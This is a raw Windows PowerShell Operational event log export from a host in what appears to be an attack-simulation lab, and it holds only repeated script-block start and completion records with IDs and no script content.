Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025741
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025735
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025711
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025709
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025708
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
